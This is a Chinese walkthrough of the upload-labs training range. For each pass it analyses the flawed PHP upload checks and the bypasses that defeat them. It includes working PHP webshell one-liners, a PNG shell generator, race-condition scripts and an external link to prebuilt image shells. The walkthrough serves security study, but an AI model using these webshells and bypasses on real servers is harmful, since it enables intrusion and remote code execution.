赞
踩
目录
Apache HTTPD 换行解析漏洞(CVE-2017-15715)
环境要求
若要自己亲自搭建环境,请按照以下配置环境,方可正常运行每个Pass。
配置项 配置 描述
操作系统 Window or Linux 推荐使用Windows,除了Pass-20必须在linux下,其余Pass都可以在Windows上运行
PHP版本 推荐5.2.17 其他版本可能会导致部分Pass无法突破
PHP组件 php_gd2,php_exif 部分Pass依赖这两个组件
中间件 设置Apache以moudel方式连接
本pass在客户端使用js对不合法图片进行检查!
右键检查元素找到JS绑定的form表单 删除onsubmit后面的代码
上传php文件即可
实战或ctf上传php木马 由于更方便演示效果我这里用<?php phpinfo();?>替代
然后找到上传的文件地址 右键新建标签打开或者F12找到地址访问即可
效果如下
本pass在服务端对数据包的MIME进行检查!
超全局变量$_FILES是一个二维数组,用来保存客户端上传到服务器的文件信息。二维数组的行是文件域的名称,列有5个。
- 1、$_FILES[]['name'] #上传的文件名
- 2、$_FILES[]['type'] #上传的文件类型,这个类型是MIME类型(image/jpeg image/gif image/png)
- 3、$_FILES[]['size'] #文件的大小,以字节为单位
- 4、$_FILES[]['tmp_name'] #文件上传时候的临时文件
- 5、$_FILES[]['error'] #错误编码(值有0、1、2、3、4、6、7)0表示正确1
上传一个4.jpg文件查看效果
阅读代码
- $is_upload = false;
- $msg = null;
- # 判断是否点击了提交按钮
- if (isset($_POST['submit'])) {
- # 判断文件路径是否存在 这里的UPLOAD_PATH=../upload 在config.php中被定义为常量
- if (file_exists(UPLOAD_PATH)) {
- # 对数据包的MIME进行校验
- if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
- $temp_file = $_FILES['upload_file']['tmp_name'];
- # 拼接了../upload/xxx.xxx
- $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
- # 将上传的临时文件移动到目录../upload/xxx.xxx
- if (move_uploaded_file($temp_file, $img_path)) {
- $is_upload = true;
- } else {
- # 移动文件出错
- $msg = '上传出错!';
- }
- } else {
- # 不符合MIMIE类型就报错
- $msg = '文件类型不正确,请重新上传!';
- }
- } else {
- # 文件路径不存在
- $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
- }
- }
用burp抓包修改conten-type即可
本pass禁止上传.asp|.aspx|.php|.jsp后缀文件!
阅读代码
- $is_upload = false;
- $msg = null;
- # 判断是否点击提交按钮
- if (isset($_POST['submit'])) {
-
- # 判断文件路径是否存在 这里的UPLOAD_PATH=../upload 在config.php中被定义为常量
- if (file_exists(UPLOAD_PATH)) {
- $deny_ext = array('.asp','.aspx','.php','.jsp'); //定义黑名单数组
- $file_name = trim($_FILES['upload_file']['name']); //将上传的文件名首尾去除空格
- $file_name = deldot($file_name);//删除文件名末尾的点
- $file_ext = strrchr($file_name, '.'); //截取最后一个点到末尾的字符串(包含.)
- $file_ext = strtolower($file_ext); //转换为小写
- $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
- $file_ext = trim($file_ext); //首尾去空
-
- # 如果上传的文件后缀不在黑名单数组中
- if(!in_array($file_ext, $deny_ext)) {
- $temp_file = $_FILES['upload_file']['tmp_name'];
- # 拼接../upload/xxx.xxx 并对文件进行重命名 用的是截取的文件后缀名
- $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
-
- # 将上传的临时文件移动到目录../upload/xxx.xxx
- if (move_uploaded_file($temp_file,$img_path)) {
- $is_upload = true;
- } else {
- $msg = '上传出错!';
- }
- } else {
- $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
- }
- } else {
- $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
- }
- }
黑名单可以用php2 php3 php5 php7 phtml 等绕过
PHP5文件实际上就是.PHP文件,只不过代码由PHP5引擎解析。
PHP5是一种PHP版本间的区分,该后缀名并不常见,另外还有.PHP2、.PHP3和.PHP4文件。而当前最新的PHP版本为PHP7。
phtml 在Apache的httpd.conf里面修改 去除注释 修改config文件后需要重启php服务
我这里要么是403forbidden的 要么是不解析php3等文件
不知道为什么 防火墙和wd都是关闭的 搞了好久都不行
所以用了buuctf的靶场
本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!
分布式配置文件
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
Unix、Linux系统或者是任何版本的Apache Web服务器都是支持.htaccess的,但是有的主机服务商可能不允许你自定义自己的.htaccess文件。
启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。
笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。
代码和第三关类似 就不再阅读了
漏洞原理
利用上传到服务器上的.htaccess文件修改当前目录下的解析规则
1.php5.6以下不带nts的版本
2.服务器没有禁止.htaccess文件的上传,且服务商允许用户使用自定义.htaccess文件
(1).htaccess参数
常见配法有以下几种:
AddHandler php5-script .jpg
AddType application/x-httpd-php .jpg
SetHandler application/x-httpd-php
Sethandler 将该目录及子目录的所有文件均映射为php文件类型。
Addhandler 使用 php5-script 处理器来解析所匹配到的文件。
AddType 将特定扩展名文件映射为php文件类型。
.htaccess文件内容如下
- <FilesMatch "4.jpg">
- SetHandler application/x-httpd-php
- </FilesMatch>
先上传.htaccess文件 再上传一个4.jpg的文件
那么就将该目录及子目录的所有文件均映射为php文件类型。
注意:我使用的php版本为php5.4.45 运行模式为 Apache 2.0 Handler
在php的nts版本下面无法解析4.jpg为php文件 该运行模式为CGI/FastCGI
非nts的版本:成功
nts的版本:失败
尝试Apache的未知后缀名解析漏洞
经过测试 在php非nts版本下 运行模式为 Apache 2.0 Handler
成功
nts版本会报500 服务器内部错误
利用PHP 和 Windows环境的叠加特性,以下符号在正则匹配时的相等性:
双引号" = 点号.
大于符号> = 问号?
小于符号< = 星号*
先上传一个名为4.php:.jpg的文件,上传成功后会生成4.php的空文件,大小为0KB.
这一步 我成功了 原理就是在windows环境下 不允许文件命名中含有( \ / : * ? " < > | )
如果有 会自动截断 并生成一个空文件
然后将文件名改为4.<或4.<<<或4.>>>或4.>><后再次上传,重写4.php文件内容,Webshell代码就会写入原来的4.php空文件中。再访问4.php
经过测试 在php非nts版本下 运行模式为 Apache 2.0 Handler 成功!!!
上传目录存在php文件(readme.php)
在php非nts版本下 运行模式为 Apache 2.0 Handler
可以尝试 Apache的未知后缀名解析漏洞 和 4.php:.jpg 即第四关的思路二、三
在php nts版本下我们尝试用.user.ini 进行黑名单的绕过
.user.ini
.user.ini是php的一种配置文件,众所周知php.ini是php的配置文件,它可以做到显示报错,导入扩展,文件解析,web站点路径等等设置
自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。 官方解释: 除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。 这些模式决定着一个 PHP 的指令在何时何地,是否能够被设定。手册中的每个指令都有其所属的模式。例如有些指令可以在 PHP 脚本中用 ini_set() 来设定,而有些则只能在 php.ini 或 httpd.conf 中。
使用条件:
(1)服务器脚本语言为PHP
(2)对应目录下面有可执行的php文件
(3)服务器使用CGI/FastCGI模式
优势跟.htaccess后门比,适用范围更广,nginx/apache/IIS都有效,而.htaccess只适用于apache
auto_prepend_file/auto_append_file
这两个配置可以在php文件执行之前先包含制定的文件,所以我们可以上传一个图片马,这样就可以通过.user.ini使得这个图片马被包含,从而获取webshell
.user.ini
auto_prepend_file=a.jpg
.user.ini文件里的意思是:所有的php文件都自动包含a.jpg文件。.user.ini相当于一个用户自定义的php.ini
先上传.user.ini文件 再上传含有后门代码的a.jpg文件 根据提示:上传目录存在php文件(readme.php)
所以readme.php会自动包含a.jpg里面的代码 用蚁剑连接即可
a.jpg里面的一句话木马
<?php @eval($_POST['c'])?>
<?=eval($_POST['c'])?>
分号是注释 改成和我一样的即可
然后访问readme.php 效果如下 也可以用一句话木马
用 5.php. .绕过
代码运行最后得到的后缀为"." 不在黑名单中 然而又用原来的5.php. .来拼接路径 由于windows在
文件命名中会删除.和空格 所以最终得到的是5.php 因此绕过了黑名单限制
- $file_name = trim($_FILES['upload_file']['name']);
- $img_path = UPLOAD_PATH.'/'.$file_name;
本关禁止上传.htaccess .user.ini
阅读代码 我这里只截取了关键部分的代码
- $file_name = trim($_FILES['upload_file']['name']);// 首尾去除空格
- $file_name = deldot($file_name);//删除文件名末尾的点
- $file_ext = strrchr($file_name, '.');//截取最后一个点到末尾的字符串(包含.)
- $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
- $file_ext = trim($file_ext); //首尾去空
-
- # 判断是否在黑名单数组中
- if (!in_array($file_ext, $deny_ext)) {
- $temp_file = $_FILES['upload_file']['tmp_name'];
- # 拼接../upload/xxx.xxx 并对文件进行重命名 用的是截取的文件后缀名
- $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
- if (move_uploaded_file($temp_file, $img_path)) {
- $is_upload = true;
- }
那么我们逆推一下 最后要得到xxx.php 那么$file_ext就要是php 黑名单里面就禁止了pHp
没有禁止phP 、Php 所以将文件名字大小写就绕过了限制
注意:这里php版本选非nts版本的 才能成功
php nts版本会报 http 500 服务器内部错误 具体什么原因我也不太清楚
源码我就不放了 和上面关卡的代码类似
阅读代码发现 缺少了首尾去除空格的代码过滤
利用PHP 和 Windows环境的叠加特性 windows系统自动删除文件名后缀的空格 绕过黑名单
阅读代码发现缺少了deldot函数 删除文件名最后一个点(如果有多个连续的.... 会全部删除)
这个函数是作者自己写的 以我现在的水平看不懂 以后再来分析
依旧是用首尾去除空格的后的原来的文件名来保存文件 没有截取后缀名
- $file_name = trim($_FILES['upload_file']['name']);
- $img_path = UPLOAD_PATH.'/'.$file_name;
那么就和第七关同理 获取的最终文件后缀为“.” 不在黑名单里面
利用Windows系统保存文件的特性 会删除文件后缀名的xxx.php. 最后上传的文件还是xxx.php
这一关黑名单,没有对::$DATA 进 行 处 理 使用::$DATA 进行处理,可以使用::$DATA绕过黑名单
补充知识:php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名
在php非nts版本下
运行模式为 Apache 2.0 Handler
可以尝试 Apache的未知后缀名解析漏洞 和 4.php:.jpg 即第四关的思路二、三
在php的nts版本中 运行模式为cgi/fastcgi
用 10.php. .绕过
代码运行最后得到的后缀为"." 不在黑名单中 然而又用原来的10.php. .来保存文件 由于windows在
文件命名中会自动删除.和空格 所以最终得到的是10.php 因此绕过了黑名单限制
阅读代码 关键代码如下
- $file_name = trim($_FILES['upload_file']['name']);
- $file_name = str_ireplace($deny_ext,"", $file_name);
- $temp_file = $_FILES['upload_file']['tmp_name'];
- $img_path = UPLOAD_PATH.'/'.$file_name;
- if (move_uploaded_file($temp_file, $img_path)) {
- $is_upload = true;
- }
发现依旧是用上传的文件名来拼接路径并保存文件 没有对文件重命名
只是用了str_ireplace()函数来检测(此函数无视大小写) 如果文件名含有黑名单里面的字符串 就替换为空
但是只替换一次 并没有进行正则匹配或者是循环匹配敏感字符 因此只要双写php即可 因为是从左往右读的 所以替换为空后 还是php
pphphp、phphpp都可以尝试
阅读代码
- $is_upload = false;
- $msg = null;
- if(isset($_POST['submit'])){
- # 定义了白名单数组
- $ext_arr = array('jpg','png','gif');
- # 截取上传文件名最后一个带点的文件后缀
- $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
- # 判断后缀名是否都在白名单中
- if(in_array($file_ext,$ext_arr)){
- $temp_file = $_FILES['upload_file']['tmp_name'];
- # 用$_GET来拼接上传路径 取上传文件的末尾点后缀名 并对文件进行重命名
- $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
- # 移动临时文件到上传目录
- if(move_uploaded_file($temp_file,$img_path)){
- $is_upload = true;
- } else {
- $msg = '上传出错!';
- }
- } else{
- $msg = "只允许上传.jpg|.png|.gif类型文件!";
- }
- }
本关提示:本pass上传路径可控!
代码漏洞点就在于 用$_GET['save_path']来组成上传的文件路径 而这个get传参是我们可以控制的地方
因此我们考虑用是否能进行截断 例如形成../upload/12.php/截断后面的(xxx.jpg)
这样就通过了白名单校验 并且保存成了php文件
url中的%00(只要是这种%xx)的形式,webserver会把它当作十六进制处理,
然后把16进制的hex自动翻译成ascii码值“NULL”,实现了截断burpsuite中16进制编辑器将空格20改成了00。
本质上来说,都是利用0x00是字符串的结束标识符,进行截断处理。
只不过GET传参需要url编码成%00而已
原理:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。
%00截断
%00的使用是在路径上!
%00的使用是在路径上!
%00的使用是在路径上!
重要的话说三遍。如果在文件名上使用,就无法正常截断了。如:aaa.php%00bbb.jpg
需要满足的条件
00截断的限制条件是PHP<5.3.29,且GPC关闭
因为当 magic_quotes_gpc 打开时,所有的 ' (单引号), " (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的转义字符。
magic_quotes_gpc 着重偏向数据库方面,是为了防止sql注入,但magic_quotes_gpc开启还会对$_REQUEST, $_GET,$_POST,$_COOKIE 输入的内容进行过滤
实操如下
同第12关做法相同 只不过上传路径在$_POST数据中 不需要url编码
这里说一个小技巧 不需要修改hex值那么麻烦 只要在burp里面输入%00 然后进行url解码即可 得到就是0x00
阅读代码
- function getReailFileType($filename){
- $file = fopen($filename, "rb");
- $bin = fread($file, 2); //只读2字节
- fclose($file);
- $strInfo = @unpack("C2chars", $bin);
- $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
- $fileType = '';
- switch($typeCode){
- case 255216:
- $fileType = 'jpg';
- break;
- case 13780:
- $fileType = 'png';
- break;
- case 7173:
- $fileType = 'gif';
- break;
- default:
- $fileType = 'unknown';
- }
- return $fileType;
- }
大致意思就是读取文件头的两字节 将二进制数据转换为ASCII值 进行switch比较 也就是说只验证文件头信息
图⽚⽂件头以及解码(16进制)
1.JPEG
- ⽂件头标识 (2 bytes): 0xff, 0xd8 (SOI) (JPEG ⽂件标识)
- ⽂件结束标识 (2 bytes): 0xff, 0xd9 (EOI)
2.PNG
- ⽂件头标识 (8 bytes) 89 50 4E 47 0D 0A 1A 0A
3.GIF
- ⽂件头标识 (6 bytes) 47 49 46 38 39(37) 61
G I F 8 9 (7) a
那么直接上传图片马就完了
图片马可以用Notepad++打开图片 在图片末尾添加
利用文件包含漏洞 将含有php代码的图片马当做php文件解析
文件包含就相当于将其他目录的php文件复制粘贴到所在的php文件 减少代码的重复书写
这里利用get传参 将图片木马里面的代码复制过来并执行
include.php?file=upload/7920221011132540.png
同第14关
阅读代码 这里只讲解主要函数 其余代码都差不多
getimagesize()函数:
返回一个具有四个单元的数组。
索引 0 包含图像宽度的像素值,
索引 1 包含图像高度的像素值。
索引 2 是图像类型的标记:1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM。这些标记与 PHP 4.3.0 新加的 IMAGETYPE 常量对应。
索引 3 是文本字符串,内容为"height="yyy" width="xxx"",可直接用于 IMG 标记。
- $temp_file = $_FILES['upload_file']['tmp_name'];
- $res = isImage($temp_file);
-
- function isImage($filename){
- # 定义含有三种图片格式的字符串
- $types = '.jpeg|.png|.gif';
- # 判断是否存在临时文件
- if(file_exists($filename)){
- $info = getimagesize($filename);
- //getimagesize — 取得图像大小 返回一个数组
- //例如array(7) {
- [0]=> int(500)
- [1]=> int(500)
- [2]=> int(1)
- [3]=> string(24) "width="500" height="500""
- ["bits"]=> int(8)
- ["channels"]=> int(3)
- ["mime"]=> string(9) "image/gif" }
- $ext = image_type_to_extension($info[2]); //根据指定的图像类型返回对应的后缀名。
- # 判断后缀名是否在字符串中 是返回对应数字 否则返回false
- if(stripos($types,$ext)>=0){
- return $ext;
- }else{
- return false;
- }
- }else{
- return false;
- }
- }
做法和第14关相同
没啥区别 只是换了函数 需要开启php_exif
模块。
做法和第14关相同
basename — 返回路径中的文件名部分
给出一个包含有指向一个文件的全路径的字符串,本函数返回基本的文件名。
Note:
basename() 纯粹基于输入字符串操作, 它不会受实际文件系统和类似 "
..
" 的路径格式影响。
例子如下:
- <?php
- echo "1) ".basename("/etc/sudoers.d", ".d").PHP_EOL;
- echo "2) ".basename("/etc/sudoers.d").PHP_EOL;
- echo "3) ".basename("/etc/passwd").PHP_EOL;
- echo "4) ".basename("/etc/").PHP_EOL;
- echo "5) ".basename(".").PHP_EOL;
- echo "6) ".basename("/");
- ?>
-
- 1) sudoers
- 2) sudoers.d
- 3) passwd
- 4) etc
- 5) .
- 6)
imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像
imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像
imagecreatefrompng():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像
imagejpeg()
(PHP 4, PHP 5, PHP 7, PHP 8)
imagejpeg — 输出图象到浏览器或文件。
说明
imagejpeg ( resource
$image
, string$filename
= ? , int$quality
= ? ) : boolimagejpeg() 从
image
图像以filename
为文件名创建一个 JPEG 图像。参数
image
由图象创建函数(例如imagecreatetruecolor())返回的图象资源。
filename
文件保存的路径,如果未设置或为
null
,将会直接输出原始图象流。如果要省略这个参数而提供
quality
参数,使用NULL。
quality
quality
为可选项,范围从 0(最差质量,文件更小)到 100(最佳质量,文件最大)。默认为 IJG 默认的质量值(大约 75)。返回值
成功时返回
true
, 或者在失败时返回false
。
阅读代码
- if (isset($_POST['submit'])){
- // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
- $filename = $_FILES['upload_file']['name'];
- $filetype = $_FILES['upload_file']['type'];
- $tmpname = $_FILES['upload_file']['tmp_name'];
- # 拼接上传路径 例如上传17.png 则 $target_path=../upload/17.png
- $target_path=UPLOAD_PATH.'/'.basename($filename);
- // 获得上传文件的扩展名
- $fileext= substr(strrchr($filename,"."),1);
-
- //判断文件后缀与MIME类型,合法才进行上传操作
- if(($fileext == "jpg") && ($filetype=="image/jpeg")){
- // 这里存在逻辑缺陷 是先上传保存的图片 然后再去验证 如果不满足就删除上传的文件
- if(move_uploaded_file($tmpname,$target_path)){
- //使用上传的图片生成新的图片
- $im = imagecreatefromjpeg($target_path);
-
- if($im == false){
- $msg = "该文件不是jpg格式的图片!";
- @unlink($target_path); // 删除上传的原来的文件
- }else{
- //给新图片指定文件名
- srand(time());
- $newfilename = strval(rand()).".jpg";
- //显示二次渲染后的图片(使用用户上传图片生成的新图片)
- $img_path = UPLOAD_PATH.'/'.$newfilename;
- imagejpeg($im,$img_path);
- @unlink($target_path);
- $is_upload = true;
- }
- } else {
- $msg = "上传出错!";
- }
二次渲染说白了就是上传的图片
他会重新创建画布 然后把里面的东西重新渲染一边
如果你的代码在里面也可能被渲染一遍 (具体怎么渲染得看底层代码了)
代码变成图片一部分那就失效了
所以需要找到渲染后的图片里面没有发生变化的Hex地方,添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接
这里我偷个懒 用别人做好的图片马(因为我搞了好多遍都失败了QAQ) 链接如下:
- 链接:https://pan.baidu.com/s/1JSGKNwweuqfYPOVzfTpkMQ?pwd=1234
- 提取码:1234
gif直接上传就完事了
png
网上找的代码直接生成 直接运行php脚本自动生成png文件 然后直接上传就完事了
内含一句话木马<?=$_GET[0]($_POST[1]);?>
- <?php
- $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
- 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
- 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
- 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
- 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
- 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
- 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
- 0x66, 0x44, 0x50, 0x33);
- $img = imagecreatetruecolor(32, 32);
- for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color);}
- imagepng($img,'./exp17.png');
-
- /*
- <?=$_GET[0]($_POST[1]);?>
- */
-
- ?>
访问url
http://192.168.114.200/upload-labs-master/include.php?file=upload/13083.png&0=phpinfo
jpg比较困难 这里略
条件竞争
由于他的代码存在逻辑缺陷 是先上传保存的图片 然后再去验证 如果不满足就删除上传的文件
由于代码执行是一步步来的 需要时间 那我们不停的上传文件 就会产生并发 服务器会不停的对每个文件都执行相关的代码
由于他先上传 然后又原封不动的保存我们上传的文件 所以有一瞬间原本的文件存在 如果上传目录和文件名字已知的话 我们就可以通过url访问我们上传的文件
但是一会被删除怎么办?我们在访问上传的php文件就相当于执行了php代码 只要自动写一个木马文件到文件夹就成功了
代码如下 插入到png图片中即可
<?php fputs(fopen('../upload/shell.php','w'),'<?php phpinfo();?>');?>
所以需要一边不停用burp不停地上传 然后另一边不断的访问 访问的文件需要有写的权限 不然还是不行 还好这里靶场
访问的py脚本如下 不会脚本的话可以用浏览器插件不停的刷新网页 间隔设置的短一点 0.25秒这种
- import requests
-
- url = "http://192.168.114.200/upload-labs-master/include.php?file=upload/17.png"
- while True:
- html = requests.get(url)
- if ('Warning' not in str(html.text)):
- print('ok')
- break
- else:
- print("发包中")
然后用burp的Intruder模块不停的发包就行了
两边同时运行就行了
然后查看我们的文件夹 发现有shell.php就成功了
这关代码就不放了 还是和17关一样 也是先上传 再进行验证的 不符合就删除
依旧利用时间差来攻击 直接上传php文件
<?php fputs(fopen('../upload/shell18.php','w'),'<?php phpinfo();?>');?>
py脚本如下:
- import requests
- url = "http://192.168.114.200/upload-labs-master/upload/18.php"
- while True:
- html = requests.get(url)
- if html.status_code == 200:
- print("OK")
- break
- else:
- print("发包中")
burp不停地发包
最后得到shell18.php
本关需要阅读index.php和myupload.php
index.php关键代码如下
- if (isset($_POST['submit']))
- {
- require_once("./myupload.php");// 包含一次myupload.php 出错会终止执行后面的代码
- $imgFileName =time();// 根据当前时间生成文件名
-
- // 创建文件上传类 并传递四个文件上传的基本参数
- $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
-
- $status_code = $u->upload(UPLOAD_PATH);//设置上传目录 define("UPLOAD_PATH","../upload");
myupload.php关键代码如下
- <?php
-
- # 定义了 MyUpload类
- class MyUpload{
-
- // 定义了一大堆东西 重点看$cls_arr_ext_accepted白名单 上传路径$cls_upload_dir
- var $cls_upload_dir = ""; // Directory to upload to.
- var $cls_filename = ""; // Name of the upload file.
- var $cls_tmp_filename = ""; // TMP file Name (tmp name by php).
- var $cls_max_filesize = 33554432; // Max file size.
- var $cls_filesize =""; // Actual file size.
- var $cls_arr_ext_accepted = array(
- ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
- ".html", ".xml", ".tiff", ".jpeg", ".png" );
- var $cls_file_exists = 0; // Set to 1 to check if file exist before upload.
- var $cls_rename_file = 1; // Set to 1 to rename file after upload.
- var $cls_file_rename_to = ''; // New name for the file after upload.
- var $cls_verbal = 0; // Set to 1 to return an a string instead of an error code.
-
- // 函数传递了$_FILES['upload_file']['name'],
- // $_FILES['upload_file']['tmp_name'],
- // $_FILES['upload_file']['size'],
- // $imgFileName=time()
- function MyUpload( $file_name, $tmp_file_name, $file_size, $file_rename_to = '' ){
-
- $this->cls_filename = $file_name;
- $this->cls_tmp_filename = $tmp_file_name;
- $this->cls_filesize = $file_size;
- $this->cls_file_rename_to = $file_rename_to;
- }
-
- // 判断文件是否为http post方式上传
- function isUploadedFile(){
-
- if( is_uploaded_file( $this->cls_tmp_filename ) != true ){
- return "IS_UPLOADED_FILE_FAILURE";
- } else {
- return 1;
- }
- }
-
-
- /*先判断../upload/文件夹是否可写
- 然后赋值给$this->cls_upload_dir 不过这里缺少个"/"
- 需要自己添加*/
- function setDir( $dir ){
-
- if( !is_writable( $dir ) ){
- return "DIRECTORY_FAILURE";
- } else {
- $this->cls_upload_dir = $dir."/"; // $this->cls_upload_dir = "../upload/"
- return 1;
- }
- }
-
-
- // 判断是否在白名单中 白名单验证
- if( !in_array( strtolower( strrchr( $this->cls_filename, "." )), $this->cls_arr_ext_accepted )){
- return "EXTENSION_FAILURE";
- } else {
- return 1;
- }
- }
-
- // 检查文件大小 可忽略
- function checkSize(){
- if( $this->cls_filesize > $this->cls_max_filesize ){
- return "FILE_SIZE_FAILURE";
- } else {
- return 1;
- }
- }
-
- // 移动临时文件到upload目录
- function move(){
- if( move_uploaded_file( $this->cls_tmp_filename, $this->cls_upload_dir . $this->cls_filename ) == false ){
- return "MOVE_UPLOADED_FILE_FAILURE";
- } else {
- return 1;
- }
-
- }
- // 检查上传文件夹../upload/time()是否存在
- function checkFileExists(){
- if( file_exists( $this->cls_upload_dir . $this->cls_filename ) ){
- return "FILE_EXISTS_FAILURE";
- } else {
- return 1;
- }
- }
-
- // 将上面函数进行整合
- function upload( $dir ){
- // 太多了略
- }
-
- ?>
upload()函数大致思路如下:
同样的逻辑缺陷 不过是白名单 上传路径不可控制 所以上传含有木马的白名单文件 配合条件竞争和其他漏洞来实现写入木马
白名单+条件竞争+Apache未知后缀名解析漏洞
上传一个Apache不识别的后缀名 通过条件竞争访问php文件 写入木马成功
我这里用19.php.ppt
这里我用的版本5.5.38
py脚本如下
- import requests
-
- url = "http://192.168.114.200/upload-labs-master/upload/19.php.ppt"
- while True:
- html = requests.get(url)
- if html.status_code == 200:
- print("OK")
- break
- else:
- print("发包中")
burp不断发包
成功
访问shell19.php
PS:其实你上传任何白名单的后缀都可以 包括图片等等 如果有时间的话我会研究一下漏洞的底层原因
白名单+条件竞争+文件包含漏洞
通用于php的nts和ts版本 因为是文件包含
py脚本代码如下:
- import requests
-
- url = "http://192.168.114.200/upload-labs-master/include.php?file=upload/19.jpg"
- while True:
- html = requests.get(url)
- if ('Warning' not in str(html.text)):
- print('ok')
- break
- else:
- print("发包中")
剩余操作和第17、18关一样
PS:由于是文件包含 不用条件竞争也是可以的 上传图片马直接包含就行了
pathinfo()函数
- <?php
- $path_parts = pathinfo('/www/htdocs/inc/lib.inc.php');
-
- echo $path_parts['dirname'], "\n";
- echo $path_parts['basename'], "\n";
- echo $path_parts['extension'], "\n";
- echo $path_parts['filename'], "\n"; // since PHP 5.2.0
- ?>
-
- /www/htdocs/inc
- lib.inc.php
- php
- lib.inc
产生漏洞的代码 $_POST传参导致文件上传路径可控
- $file_name = $_POST['save_name'];
- $img_path = UPLOAD_PATH . '/' .$file_name;
方法就很多了
.user.ini绕过——Pass05
大小写绕过——Pass06
末尾加空格或点或::$DATA绕过——Pass07、08、09
apache多后缀解析绕过
POST型00截断绕过
move_uploaded_file会忽略末尾的/.
本关用move_uploaded_file函数执行上传动作,该函数会忽略文件末尾的/.,因此可以在文件名后加/.这两个符号来绕过黑名单的限制。原理不太懂
apache2.4.0~2.4.29版本 判断后缀时会带上末尾的换行符,也就是说.php%0A这个后缀和.php一样都会被apache当作php文件解析。
这个漏洞只有Linux能用,倒不是因为windows上的apache没有这个问题,而是因为windows不允许使用换行符作为文件名的结尾。
这一关白名单
验证过程:
--> 验证上传路径是否存在
--> 验证['upload_file']的content-type是否合法(可以抓包修改)
--> 判断POST参数是否为空定义$file变量(关键:构造数组绕过下一步的判断)
-->判断file不是数组则使用explode('.', strtolower($file))对file进行切割,将file变为一个数组例如我上传upload.php.jpg
就会返回数组
array(3){
[0]=>upload,
[1]=>php,
[2]=>jpg
}
--> 判断数组最后一个元素是否在白名单中 由于是白名单校验 所以不能利用 $_FILES['upload_file']['name']--> 数组第一位和$file[count($file) - 1]进行拼接,减1是因为数组下标默认从0开始 最后保存文件名file_name
--> 上传文件
